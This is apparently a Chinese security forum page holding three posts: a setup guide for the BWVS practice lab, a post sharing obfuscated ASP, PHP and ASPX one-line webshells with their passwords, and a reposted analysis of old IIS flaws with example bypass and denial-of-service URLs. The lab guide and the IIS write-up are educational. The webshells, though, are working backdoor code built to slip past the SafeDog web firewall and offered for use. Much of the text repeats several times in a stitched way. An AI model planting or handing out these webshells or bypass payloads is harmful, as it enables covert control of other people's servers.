这个要根据自己安装的情况来定④：BWVS配置文件的修改
接着需要修改\bwvs_config\sys_config.php 配置文件中的Mysql 和根目录的配置，这里需要注意的是如果数据库没有改用户名和密码那只需要把 “DateName”改为“BWVS” 然后把根目录改为文件夹的名字‘/BWVS’即可。
image.png
接着修改\bug\conn.php里的mysql配置，同理如果没有改动数据库的用户名和密码只需要将新建的数据库名修改了即可。
image.png⑤：BWVS配置完成，进入靶场进行联系
打开phpstudy2018并启动，在浏览器中输入127.0.0.1或者输入http://localhost/BWVS。
如果没有目录的话在php中可以打开，如图
image.png
这样进入后直接打开BWVS即可
image.png
image.png
image.png
到这里整个环境就搭建完成，一共拥有41个漏洞[code] SQL联合查询注入
SQL搜索型注入
SQL报错型注入
SQL数字型注入
SQL字符型注入
SQL基于时间的盲注
SQL逻辑注入
反射型 XSS
存储型 XSS
DOM型 XSS
暴力破解
PHP远程命令执行漏洞
本地文件包含漏洞
任意文件包含漏洞
任意代码读取漏洞
目录限制文件包含
修改任意用户密码漏洞
任意文件上传漏洞
JS限制文件上传
MIME限制文件上传
扩展名限制文件上传
内容限制文件上传
任意代码执行
ssrf
无验证码爆破
源码泄漏
php://input伪协议。。。。。。等等漏洞共41个
[/code]
BWVS渗透测试靶场可以帮助我们复现各种各样的漏洞，有些简单到让人蛋蛋痛，但也有些可能会让你感到怀疑人生。目前我由于时间原因还没有完全做完，希望自己能够把这里的所有漏洞都复现一下。作为一个web安全的小白白在老师的带领下看到了许许多多业界大佬精英的“英雄池”是那么那么的深，瞬间感觉自己很渺小，很微弱。无论是年幼的幻想也罢，还是成年的理想也好，我都希望自己能够坚持下去，走好我自己的网络安全之路，加油~ 查看全部
本篇文章主要借鉴于：
id：疯狂棒棒糖7
https://blog.csdn.net/weixin_42373210/article/details/81196338
我的简书博客：https://www.jianshu.com/u/1f9e409c0809
在学习了一些基本的漏洞之后，只能在笔记中能够回顾这些基础，并不能有一个合适的靶场来练习。当然，SQLi，upload-labs-master是sql注入和文件上传漏洞非常能够有提升自己的靶场，但是像反射性XSS，存储型XSS和DOM型XSS就比较难以复现，像CSRF，SSRF，任意命令执行和任意文件下载等等很多基础漏洞无法复现。我很迫切找到一个能够拥有这些所有漏洞的综合性渗透测试靶场，所以我就百度了一些，找到了由BUGKU推出的一款开元免费的渗透测试靶场——BWVS。
（因为我比较菜，所以感觉DVWA感觉比较难，大佬自行绕过）
我会在这里详细描述一下BWVS的搭建过程①：靶场所需要的环境
PHP和MYSQL环境即可，看过大佬的博客有说最好不要装在虚拟机当中。
php环境：使用phpstudy2018
mysql环境：phpstudy自带mysql环境
phpstudy2018官网下载传送门：http://phpstudy.php.cn
phpstudy2018使用教程传送门：http://www.php.cn/php-weizijiaocheng-389892.html
如果你从来都没有使用过phpstudy2018，那么给你这个非常详细的使用教程，我这里就不在赘述，
image.png
②：为搭建BWVS更改配置文件 php.ini 中的配置
需要配置php.ini中的两个配置：
1.allow_url_include = On（需要手动开启）
2.allow_url_fopen = On（默认为开启）
image.png
正常情况下这两个选项是在一起的，如图改为On就好了
image.png③：配置BWVS靶机
下载BWVS压缩包并解压后会出现WWW.rar和dwvs.sql两个文件，首先需要导入根目录的sql 文件，百度了一个懒人教程，非常简单。
image.png
这个过程需要注意的是还原到数据库名这个地方一定要写BWVS，自己踩过坑，比较注意。
这时候把解压出来的WWW.rar文件解压解压出来并将文件名WWW改为BWVS并放置到php目录下的WWW目录下例如我的是：G:\php\PHPTutorial\WWW
这个要根据自己安装的情况来定④：BWVS配置文件的修改
接着需要修改\bwvs_config\sys_config.php 配置文件中的Mysql 和根目录的配置，这里需要注意的是如果数据库没有改用户名和密码那只需要把 “DateName”改为“BWVS” 然后把根目录改为文件夹的名字‘/BWVS’即可。
image.png
接着修改\bug\conn.php里的mysql配置，同理如果没有改动数据库的用户名和密码只需要将新建的数据库名修改了即可。
image.png⑤：BWVS配置完成，进入靶场进行联系
打开phpstudy2018并启动，在浏览器中输入127.0.0.1或者输入http://localhost/BWVS。
如果没有目录的话在php中可以打开，如图
image.png
这样进入后直接打开BWVS即可
image.png
image.png
image.png
到这里整个环境就搭建完成，一共拥有41个漏洞
BWVS渗透测试靶场可以帮助我们复现各种各样的漏洞，有些简单到让人蛋蛋痛，但也有些可能会让你感到怀疑人生。目前我由于时间原因还没有完全做完，希望自己能够把这里的所有漏洞都复现一下。作为一个web安全的小白白在老师的带领下看到了许许多多业界大佬精英的“英雄池”是那么那么的深，瞬间感觉自己很渺小，很微弱。无论是年幼的幻想也罢，还是成年的理想也好，我都希望自己能够坚持下去，走好我自己的网络安全之路，加油~
id：疯狂棒棒糖7
https://blog.csdn.net/weixin_42373210/article/details/81196338
我的简书博客：https://www.jianshu.com/u/1f9e409c0809
在学习了一些基本的漏洞之后，只能在笔记中能够回顾这些基础，并不能有一个合适的靶场来练习。当然，SQLi，upload-labs-master是sql注入和文件上传漏洞非常能够有提升自己的靶场，但是像反射性XSS，存储型XSS和DOM型XSS就比较难以复现，像CSRF，SSRF，任意命令执行和任意文件下载等等很多基础漏洞无法复现。我很迫切找到一个能够拥有这些所有漏洞的综合性渗透测试靶场，所以我就百度了一些，找到了由BUGKU推出的一款开元免费的渗透测试靶场——BWVS。
（因为我比较菜，所以感觉DVWA感觉比较难，大佬自行绕过）
我会在这里详细描述一下BWVS的搭建过程①：靶场所需要的环境
PHP和MYSQL环境即可，看过大佬的博客有说最好不要装在虚拟机当中。
php环境：使用phpstudy2018
mysql环境：phpstudy自带mysql环境
phpstudy2018官网下载传送门：http://phpstudy.php.cn
phpstudy2018使用教程传送门：http://www.php.cn/php-weizijiaocheng-389892.html
如果你从来都没有使用过phpstudy2018，那么给你这个非常详细的使用教程，我这里就不在赘述，
image.png
②：为搭建BWVS更改配置文件 php.ini 中的配置
需要配置php.ini中的两个配置：
1.allow_url_include = On（需要手动开启）
2.allow_url_fopen = On（默认为开启）
image.png
正常情况下这两个选项是在一起的，如图改为On就好了
image.png③：配置BWVS靶机
下载BWVS压缩包并解压后会出现WWW.rar和dwvs.sql两个文件，首先需要导入根目录的sql 文件，百度了一个懒人教程，非常简单。
image.png
这个过程需要注意的是还原到数据库名这个地方一定要写BWVS，自己踩过坑，比较注意。
这时候把解压出来的WWW.rar文件解压解压出来并将文件名WWW改为BWVS并放置到php目录下的WWW目录下例如我的是：G:\php\PHPTutorial\WWW
这个要根据自己安装的情况来定④：BWVS配置文件的修改
接着需要修改\bwvs_config\sys_config.php 配置文件中的Mysql 和根目录的配置，这里需要注意的是如果数据库没有改用户名和密码那只需要把 “DateName”改为“BWVS” 然后把根目录改为文件夹的名字‘/BWVS’即可。
image.png
接着修改\bug\conn.php里的mysql配置，同理如果没有改动数据库的用户名和密码只需要将新建的数据库名修改了即可。
image.png⑤：BWVS配置完成，进入靶场进行联系
打开phpstudy2018并启动，在浏览器中输入127.0.0.1或者输入http://localhost/BWVS。
如果没有目录的话在php中可以打开，如图
image.png
这样进入后直接打开BWVS即可
image.png
image.png
image.png
到这里整个环境就搭建完成，一共拥有41个漏洞
[code] SQL联合查询注入[/code]
SQL搜索型注入
SQL报错型注入
SQL数字型注入
SQL字符型注入
SQL基于时间的盲注
SQL逻辑注入
反射型 XSS
存储型 XSS
DOM型 XSS
暴力破解
PHP远程命令执行漏洞
本地文件包含漏洞
任意文件包含漏洞
任意代码读取漏洞
目录限制文件包含
修改任意用户密码漏洞
任意文件上传漏洞
JS限制文件上传
MIME限制文件上传
扩展名限制文件上传
内容限制文件上传
任意代码执行
ssrf
无验证码爆破
源码泄漏
php://input伪协议。。。。。。等等漏洞共41个
BWVS渗透测试靶场可以帮助我们复现各种各样的漏洞，有些简单到让人蛋蛋痛，但也有些可能会让你感到怀疑人生。目前我由于时间原因还没有完全做完，希望自己能够把这里的所有漏洞都复现一下。作为一个web安全的小白白在老师的带领下看到了许许多多业界大佬精英的“英雄池”是那么那么的深，瞬间感觉自己很渺小，很微弱。无论是年幼的幻想也罢，还是成年的理想也好，我都希望自己能够坚持下去，走好我自己的网络安全之路，加油~
过狗一句话
sq_smile 发表了文章 • 0 个评论 • 28 次浏览 • 2019-01-10 11:12
前几天自己找的变性的过狗一句话，希望能帮到大家。
asp：
<%Y=request("x")%> <%execute(Y)%> 密码：x
<%eval (eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("sz"))%> 密码：sz
<%eval""&("e"&"v"&"a"&"l"&"("&"r"&"e"&"q"&"u"&"e"&"s"&"t"&"("&"0"&"-"&"2"&"-"&"5"&")"&")")%> 密码：-7
php：
<!--?php $a = str_replace(x,"","axsxxsxexrxxt");$a($_POST["sz"]); ?-->
<!--?php $lang = (string)key($_POST);$lang($_POST['sz']); ?-->
<!--?php $k="ass"."ert"; $k(${"_PO"."ST"} ['sz']);?-->
<!--?php $a = "a"."s"."s"."e"."r"."t"; $a($_POST["sz"]); ?--> 前几个密码都是：sz
<!--?php @$_="s"."s"./*-/*-*/"e"./*-/*-*/"r"; @$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t"; @$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"} [/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?-->
密码：-7
aspx的 过狗效果不怎么样—不过我认为能支持aspx 百分之八九十支持asp，
<%@ Page Language = Jscript %><%var/*-/*-*/P/*-/*-*/=/*-/*-*/"e"+"v"+/*-/*-*/"a"+"l"+"("+"R"+"e"+/*-/*-*/"q"+"u"+"e"/*-/*-*/+"s"+"t"+"[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]"+","+"\""+"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"+"\""+")";eval (/*-/*-*/P/*-/*-*/,/*-/*-*/"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"/*-/*-*/);%> 密码：-7
<%@ Page Language="Jscript"%><%eval(Request.Item["sz"],"unsafe");%> 密码：sz
<script type="text/javascript" language="C#">// <![CDATA[
WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y("add6bb58e139be10");
// ]]></script> 密码：webadmin
查看全部
asp：
<%Y=request("x")%> <%execute(Y)%> 密码：x
<%eval (eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("sz"))%> 密码：sz
<%eval""&("e"&"v"&"a"&"l"&"("&"r"&"e"&"q"&"u"&"e"&"s"&"t"&"("&"0"&"-"&"2"&"-"&"5"&")"&")")%> 密码：-7
php：
<!--?php $a = str_replace(x,"","axsxxsxexrxxt");$a($_POST["sz"]); ?-->
<!--?php $lang = (string)key($_POST);$lang($_POST['sz']); ?-->
<!--?php $k="ass"."ert"; $k(${"_PO"."ST"} ['sz']);?-->
<!--?php $a = "a"."s"."s"."e"."r"."t"; $a($_POST["sz"]); ?--> 前几个密码都是：sz
<!--?php @$_="s"."s"./*-/*-*/"e"./*-/*-*/"r"; @$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t"; @$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"} [/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?-->
密码：-7
aspx的 过狗效果不怎么样—不过我认为能支持aspx 百分之八九十支持asp，
<%@ Page Language = Jscript %><%var/*-/*-*/P/*-/*-*/=/*-/*-*/"e"+"v"+/*-/*-*/"a"+"l"+"("+"R"+"e"+/*-/*-*/"q"+"u"+"e"/*-/*-*/+"s"+"t"+"[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]"+","+"\""+"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"+"\""+")";eval (/*-/*-*/P/*-/*-*/,/*-/*-*/"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"/*-/*-*/);%> 密码：-7
<%@ Page Language="Jscript"%><%eval(Request.Item["sz"],"unsafe");%> 密码：sz
<script type="text/javascript" language="C#">// <![CDATA[
WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y("add6bb58e139be10");
// ]]></script> 密码：webadmin
查看全部
前几天自己找的变性的过狗一句话，希望能帮到大家。
asp：
<%Y=request("x")%> <%execute(Y)%> 密码：x
<%eval (eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("sz"))%> 密码：sz
<%eval""&("e"&"v"&"a"&"l"&"("&"r"&"e"&"q"&"u"&"e"&"s"&"t"&"("&"0"&"-"&"2"&"-"&"5"&")"&")")%> 密码：-7
php：
<!--?php $a = str_replace(x,"","axsxxsxexrxxt");$a($_POST["sz"]); ?-->
<!--?php $lang = (string)key($_POST);$lang($_POST['sz']); ?-->
<!--?php $k="ass"."ert"; $k(${"_PO"."ST"} ['sz']);?-->
<!--?php $a = "a"."s"."s"."e"."r"."t"; $a($_POST["sz"]); ?--> 前几个密码都是：sz
<!--?php @$_="s"."s"./*-/*-*/"e"./*-/*-*/"r"; @$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t"; @$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"} [/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?-->
密码：-7
aspx的 过狗效果不怎么样—不过我认为能支持aspx 百分之八九十支持asp，
<%@ Page Language = Jscript %><%var/*-/*-*/P/*-/*-*/=/*-/*-*/"e"+"v"+/*-/*-*/"a"+"l"+"("+"R"+"e"+/*-/*-*/"q"+"u"+"e"/*-/*-*/+"s"+"t"+"[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]"+","+"\""+"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"+"\""+")";eval (/*-/*-*/P/*-/*-*/,/*-/*-*/"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"/*-/*-*/);%> 密码：-7
<%@ Page Language="Jscript"%><%eval(Request.Item["sz"],"unsafe");%> 密码：sz
<script type="text/javascript" language="C#">// <![CDATA[
WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y("add6bb58e139be10");
// ]]></script> 密码：webadmin
asp：
<%Y=request("x")%> <%execute(Y)%> 密码：x
<%eval (eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("sz"))%> 密码：sz
<%eval""&("e"&"v"&"a"&"l"&"("&"r"&"e"&"q"&"u"&"e"&"s"&"t"&"("&"0"&"-"&"2"&"-"&"5"&")"&")")%> 密码：-7
php：
<!--?php $a = str_replace(x,"","axsxxsxexrxxt");$a($_POST["sz"]); ?-->
<!--?php $lang = (string)key($_POST);$lang($_POST['sz']); ?-->
<!--?php $k="ass"."ert"; $k(${"_PO"."ST"} ['sz']);?-->
<!--?php $a = "a"."s"."s"."e"."r"."t"; $a($_POST["sz"]); ?--> 前几个密码都是：sz
<!--?php @$_="s"."s"./*-/*-*/"e"./*-/*-*/"r"; @$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t"; @$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"} [/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?-->
密码：-7
aspx的 过狗效果不怎么样—不过我认为能支持aspx 百分之八九十支持asp，
<%@ Page Language = Jscript %><%var/*-/*-*/P/*-/*-*/=/*-/*-*/"e"+"v"+/*-/*-*/"a"+"l"+"("+"R"+"e"+/*-/*-*/"q"+"u"+"e"/*-/*-*/+"s"+"t"+"[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]"+","+"\""+"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"+"\""+")";eval (/*-/*-*/P/*-/*-*/,/*-/*-*/"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"/*-/*-*/);%> 密码：-7
<%@ Page Language="Jscript"%><%eval(Request.Item["sz"],"unsafe");%> 密码：sz
<script type="text/javascript" language="C#">// <![CDATA[
WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y("add6bb58e139be10");
// ]]></script> 密码：webadmin
那些年让我们心惊胆战的IIS漏洞
sq_smile 发表了文章 • 0 个评论 • 22 次浏览 • 2019-01-08 21:20
本文转自安全脉搏，为千里目实验室所写。
原文链接：https://www.secpulse.com/archives/82410.html
一、 全球第三大网络服务器
Internet Information Services（IIS，以前称为Internet Information Server）互联网信息服务是Microsoft公司提供的可扩展Web服务器，支持HTTP，HTTP/2，HTTPS，FTP，FTPS，SMTP和NNTP等。起初用于Windows NT系列，随后内置在Windows 2000、Windows XP Professional、Windows Server 2003和后续版本一起发行。IIS目前只适用于Windows系统，不适用于其他操作系统。
根据Netcraft在2018年9月的最新全球Web服务器报告显示，Microsoft IIS依旧以9.57%的比例占据全球第三大最繁忙服务器，落后于Apache 34.07％和Nginx 25.45％。目前流行的Windows版本都默认安装IIS服务,但同时IIS的安全性一直被业内诟病，一旦IIS出现高危漏洞，将会出现范围广、影响深的特点。
目前IIS一共发行12个版本，从IIS 1.0版本至IIS 10.0版本，IIS 1.0-4.0已经基本退出市场，IIS 5.0-10.0是Web市场主要使用的网站服务器。随着Windows版本发布和不断更新，IIS自身的安全性也有了较大的提升。在2005-2018年期间，IIS漏洞呈现逐年减少的趋势，同时也说明了IIS漏洞POC公布越来越少、漏洞挖掘的难度也在提升。
IIS 版本
Win版本
IIS全球装机数量
受影响漏洞数量
IIS 1.0
Win NT 3.51
0
未统计
IIS 2.0
Win NT 4.0
0
未统计
IIS 3.0
Win NT 4.0 Sp3
0
未统计
IIS 4.0
Win NT 4.0选项包
0
未统计
IIS 5.0
Windows 2000
46,078
10个
IIS 5.1
Windows XP 系列
29,825
16个
IIS 6.0
Win 2003和Win XP Pro x64
620,360
21个
IIS 7.0
Win 2008、 Vista全系列
276,736
11个
IIS 7.5
Win 7和Win 2008 R2
3,970,245
12个
IIS 8.0
Win 8和Win 2012
344,734
4个
IIS 8.5
Win 8.1和Win 2012 R2
2,153,546
4个
IIS 10.0
Win 10和Win 2016
1,086,887
2个
从上述IIS漏洞统计表格可以看出，IIS 7.5、IIS 8.5和IIS 10.0是目前全球使用最多的三款IIS版本，分别对应受影响漏洞12个、4个和2个，呈现受影响漏洞数量递减的趋势。同时，在历年的IIS版本漏洞中，IIS 6.0、IIS 5.1、IIS 7.5和IIS 7.0受影响的漏洞数居前四位。
二、 IIS漏洞分析
千里目实验室针对IIS近十几年（2005年以后）的35个漏洞进行和整理和分析，IIS漏洞主要分布在缓冲区溢出、认证绕过、DOS拒绝服务、代码执行和信息泄露，其中以MS15-034远程代码执行漏洞最为严重。
IIS漏洞类型
远程漏洞
本地漏洞
数量
缓冲区溢出
7
0
7
认证绕过
7
0
7
拒绝服务
5
0
5
代码执行
4
0
4
信息泄露
2
2
4
XSS注入
1
1
2
命令执行
2
0
2
权限提升
0
2
2
文件上传
2
0
2
总计
30
5
35
由上表可以看到，IIS历年漏洞主要以远程漏洞为主，占漏洞总数85.71%，本地漏洞有5个，占漏洞总数14.29%。其中5个本地漏洞分别是：(MS12-073)Microsoft IIS密码信息泄露漏洞CVE-2012-2531、 Microsoft IIS源代码泄露漏洞CVE-2005-2678、 (MS17-016)Microsoft Internet信息服务器跨站脚本漏洞CVE-2017-0055、 (MS16-016)IIS WEBDAV特权提升漏洞CVE-2016-0051、 (MS08-005)Microsoft IIS 文件更改通知本地权限提升漏洞CVE-2008-0074。
以下主要针对IIS漏洞中可以远程利用的重点漏洞做分析和复现：
1. 缓冲区溢出漏洞
1.1 (MS09-053)Microsoft IIS FTPd服务NLST命令栈缓冲区CVE-2009-3023
1.1.1 漏洞描述：Microsoft IIS内嵌的FTP服务器中存在基于栈的缓冲区溢出漏洞。如果远程攻击者对带有特制名称的目录发布了包含有通配符的FTP NLST(NAME LIST)命令的话，就可以触发这个溢出，导致执行任意代码。仅在攻击者拥有写访问权限的情况下才可以创建带有特殊名称的目录。
1.1.2 漏洞分析和复现
Ø 漏洞影响版本：IIS 5.0、IIS 5.1、IIS 6.0
Ø 漏洞分析：
IIS包括用于通过TCP计算机网络交换和操作文件的FTP服务器服务。它默认侦听端口21以获取来自FTP客户端的传入连接。IIS支持的FTP命令之一是名称列表（NLST）命令。此命令用于将目录列表从服务器传输到客户端。该命令的语法如下：
NLST <SPACE> <pathname> <CRLF>，此命令中的路径名应指定目录或其他特定于系统的文件组描述符；在pathname为NULL时，使用当前目录。NLST命令可以使用诸如“*”之类的通配符来引用多个路径。
Microsoft Internet信息服务（IIS）中存在缓冲区溢出漏洞。该漏洞是由于处理NLST FTP命令时边界检查不足造成的。当FTP用户请求包含通配符的路径名过长的目录列表时，易受攻击的代码会将目录路径名复制到0x9F（159）字节的基于堆栈的缓冲区中，而不进行边界验证。提供包含大于0x9F（159）字节的路径名会使堆栈缓冲区溢出，从而可能会覆盖关键进程数据（如函数返回地址）。
远程身份验证的攻击者可以通过连接到易受攻击的IIS FTP服务器并向目标服务器发送恶意NLST命令来利用此漏洞。成功利用将导致使用System权限执行代码。如果代码执行攻击不成功，可能会导致受影响的FTP会话异常终止。
注意：为了成功利用此漏洞，NLST命令中指定的长路径名必须存在于目标系统上。因此，利用此漏洞的攻击可能伴随着MKD命令的使用。
Ø 漏洞类型：可远程利用，存在缓冲区溢出漏洞，可触发代码执行
Ø 漏洞复现：
复现环境：Win XP SP3 x64专业版，默认IIS 5.1
1. 搭建好IIS FTP靶机环境，测试anonymous默认匿名用户可用，且可创建和读写目录；
2. 测试正常MKD创建和NLST正常长度的目录的功能是否正常：
以上somefolder为FTP服务器上正常长度文件夹，NLST命令执行成功并返回结果提示226。
3. 测试创建和NLST异常目录长度，服务器返回150，打开数据连接，成功执行命令。
Ø 漏洞缓解：
1. 此漏洞仅在IIS 5.x和6.0版本存在，升级IIS版本或者更新MS09-053补丁即可规避此漏洞；
2. 此漏洞成功利用的条件主要包括：IIS启用FTP服务且存在FTP默认站点、攻击者登陆FTP的账户有创建和读写文件夹的权限。
2. DOS拒绝服务漏洞
2.1 (MS07-041)Microsoft IIS 5.1远程缓冲区溢出漏洞 CVE-2005-4360
2.1.1 漏洞描述：Microsoft IIS处理某些畸形的HTTP请求时存在漏洞，远程攻击者可能利用此漏洞对服务器进行拒绝服务攻击。远程攻击者可以使用WEB浏览器之类的工具发送特制的匿名HTTP请求导致IIS服务进程inetinfo.exe崩溃。仅在文件夹的"执行权限"设置为"脚本和可执行程序"时才会出现这个漏洞。有漏洞的虚拟文件夹包括"/_vti_bin"等。此外如果提交恶意请求还可能会触发缓冲区溢出，导致在用户系统上执行任意代码。2.1.2 漏洞分析和复现
Ø 漏洞影响版本：IIS 5.1
Ø 漏洞分析：IIS包括一个能够提供静态和动态内容的Web服务器组件。IIS的Web组件提供Web应用程序功能。通过Web应用程序，服务器可以在后端执行脚本，并将生成的内容提供给请求客户端。客户端可以请求许多可执行资源，例如Perl脚本、Active Server Pages（ASP）或动态链接的库资源。用于提供动态动态内容的虚拟目录需要配置后台执行脚本的权限。
Microsoft Internet Information Services产品的HTTP服务器组件中存在可远程利用的拒绝服务漏洞。在特殊情况下，当多次请求动态链接的库资源时，受影响的服务可能会因此而关闭。由于服务器无法处理格式错误的URL请求，因此创建了该漏洞。恶意请求必须满足几个条件才能触发此漏洞。请求URL必须包含来自以下字符的有限集合中的字符（注意，不可见字符需要使用以下字符范围的URL编码形式）：
• %3f
• ”
• *
• :
• <
• >
•字符 - 的范围
请求还必须包含波形符“~”字符，后面跟一个十进制数字。
Ø 漏洞类型：可远程利用，可触发DOS攻击
Ø 漏洞复现：
复现环境：Win XP SP3 x64专业版，默认IIS 5.1
1. 配置IIS默认wwwroot根目录下的虚拟目录_vti_bin执行权限为“脚本和可执行文件”权限；
2. 浏览器发送恶意url远程访问靶机环境，复现成功，服务器返回500错误：
Eg:http://192.168.180.200/_vti_bin/.dll/\~0
Ø 漏洞缓解：
1. 此漏洞仅在IIS 5.1版本存在，升级IIS版本或者更新MS07-041补丁即可规避此漏洞；
2. 此漏洞成功利用的条件主要包括：要求在服务器端将请求的虚拟目录配置为“脚本和可执行文件”权限，不开启此权限的服务器不存在漏洞。
2.2 (MS09-053)Microsoft IIS FTP服务器递归列表拒绝服务漏洞 CVE-2009-2521
2.2.1 漏洞描述：IIS 5.0至7.0版本的FTP服务在处理递归目录列表请求时存在栈消耗漏洞。拥有对目录写访问权限的远程攻击者可以通过提交包含有通配符(如星形标识符)的请求导致拒绝服务（守护进程崩溃）。
2.2.2 漏洞分析和复现
Ø 漏洞影响版本：IIS 5.0、IIS 5.1、IIS 6.0、IIS 7.0
Ø 漏洞分析：
通过包含通配符的list（ls）-R命令在Microsoft IIS FTP服务器5.0到7.0中触发拒绝服务条件，即ls "-R p*/../"命令可导致FTP服务器拒绝服务。 此漏洞利用有三个条件：
（1）一个有效的ftp帐户，拥有只读或写入权限；
（2）“FTP发布”服务必须在启动类型中配置为“手动”模式；
（3） FTP根目录下至少有一个目录。
Ø 漏洞类型：可远程利用，可触发DOS攻击
Ø 漏洞复现：
复现环境：Win XP SP3 x64专业版，默认IIS 5.1
1. 添加FTP服务器角色，IIS信息服务管理控制台“FTP站点下”启动FTP默认站点
2. 配置ftp默认用户anonymous/anonymous，拥有读写目录权限；
3. 目录下创建一个文件夹BB，然后输入ls "-R p*/../"，成功复现DOS拒绝服务，ftp连接关闭：
中间很多重复：
p*/../BB:
BB
FTP服务器提示“远程主机关闭连接”，FTP拒绝服务，漏洞复现成功。
Ø 漏洞缓解：
1. 此漏洞仅在IIS 5.0-7.0版本存在，升级IIS版本或者更新MS09-053补丁即可规避此漏洞；
2. 此漏洞成功利用的条件主要包括：IIS启用FTP服务且存在FTP默认站点、攻击者登陆FTP的账户有创建和读写文件夹的权限。
3. 认证绕过漏洞3.1 IIS认证绕过和源码泄露漏洞复现
3.1.1 漏洞描述：Microsoft IIS(Internet Information Server)是Microsoft Windows系统默认自带的Web服务器软件，其中默认包含FTP服务。Microsoft IIS中存在认证绕过漏洞和源码泄露漏洞，该漏洞源于对用户提供的输入未经正确的验证。攻击者可利用这些漏洞在服务器进程上下文中获取密码保护资源和查看源代码文件的未授权访问，且有助于进一步攻击。
3.1.2 漏洞分析和复现
Ø 漏洞影响版本：IIS 6.0、IIS 7.5
Ø 漏洞分析：Microsoft IIS由于无法正确清理用户提供的输入，容易出现身份验证绕过漏洞和源代码泄露漏洞。主要包括以下三类绕过：
（1） 安装了PHP的Microsoft IIS 6.0身份验证绕过：
IIS / 6.0加载受保护（如:admin）目录中的PHP文件需要用户认证信息（用户名和密码访问），如果将“:: $ INDEX_ALLOCATION”后缀附加到目录名称后面，存在绕过认证并可能访问管理文件等特殊情况，导致IIS服务器重要信息泄露；
Eg:/admin::$INDEX_ALLOCATION/index.php
（2） Microsoft IIS 7.5经典ASP身份验证绕过：
配置了经典ASP和.NET Framework 4.0的Microsoft IIS 7.5，通过将“：$ i30：$ INDEX_ALLOCATION”后缀附加到需要认证的请求目录名称后面，可以绕过经典的ASP文件访问限制；
Eg:举例：/admin:$i30:$INDEX_ALLOCATION/index.asp
（3） Microsoft IIS 7.5 .NET源代码公开和身份验证绕过：
在配置中安装了PHP的Microsoft IIS / 7.5，存在认证绕过漏洞；
Eg：http://<victimIIS75>/admin:$i30:$INDEX_ALLOCATION/admin.php
除此之外，通过将/.php附加到ASPX文件（或使用未通过请求过滤规则阻止的.NET框架的任何其他文件，如错误配置：.CS，.VB等文件）。IIS 7.5使用文件的完整源代码进行响应，并将其作为PHP代码执行。这意味着通过使用上传功能，可以（在特殊情况下）执行任意PHP代码。
Eg: http://<victimIIS75>/Default.aspx/.php （php任意代码执行）
Ø 漏洞类型：可远程利用，可触发认证绕过和信息泄露
Ø 漏洞复现：
复现环境：Windows 7 x64位，默认IIS 7.5
以下验证复现上述（3）的漏洞，（1）和（2）类似此处不做验证：
1. IIS网站根目录下创建admin用户目录，关闭默认用户认证，换言之，访问/admin/index.php目录下的文件需要认证信息，认证失败或者无认证信息将会返回401未授权页面；
2. 配置完成后，重启IIS服务器，浏览器远程访问此文件：http://192.168.180.207/admin/index.php，默认IIS账户访问提示401未授权；
3. 接下来，利用:$i30:$INDEX_ALLOCATION来绕过此限制，浏览器远程访问：
http://192.168.180.207/admin:$i30:$INDEX_ALLOCATION/index.php，成功绕过并访问到敏感信息；
4. 除此之外，如果目标站点限制上传和访问php文件，可以利用上传aspx（.net支持解析的文件类型）文件逃避限制，将其当做php代码执行；
Eg：网站目录下有一个index.aspx的文件，里面写有php代码，正常通过http://192.168.180.207/admin:$i30:$INDEX_ALLOCATION/index.aspx访问此文件无法执行代码，通过在末尾加上index.aspx/.php形式访问将会成功执行php代码；
a. 正常绕过访问index.aspx文件，页面返回乱码，未执行phpinfo代码：
b. 通过在末尾加上/.php，成功执行php代码：
Ø 漏洞缓解：
1. IIS 7.5 配置.NET Framework 2.0不受上述(2)的绕过影响；
2. 攻击者需要事先获取IIS服务器受认证保护目录；
4. 信息泄露漏洞4.1 Microsoft IIS 短文件名泄露漏洞
4.1.1 漏洞描述：IIS短文件名漏洞是由于HTTP请求中携带旧DOS 8.3名称约定（SFN）的代字符（~）波浪号引起的。它允许远程攻击者在Web根目录下公开文件和文件夹名称（不应该可被访问）。攻击者可以找到通常无法从外部直接访问的重要文件，并获取有关应用程序基础结构的信息。
4.1.2 漏洞分析和复现
Ø 漏洞影响版本：IIS 5.0-10.0全系列版本
